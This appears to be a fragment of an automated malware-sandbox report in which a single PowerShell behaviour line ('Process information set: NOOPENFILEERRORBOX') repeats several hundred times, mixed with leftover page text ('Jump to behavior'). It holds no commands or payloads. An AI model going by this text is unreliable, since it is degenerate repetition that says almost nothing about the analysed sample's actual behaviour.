              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
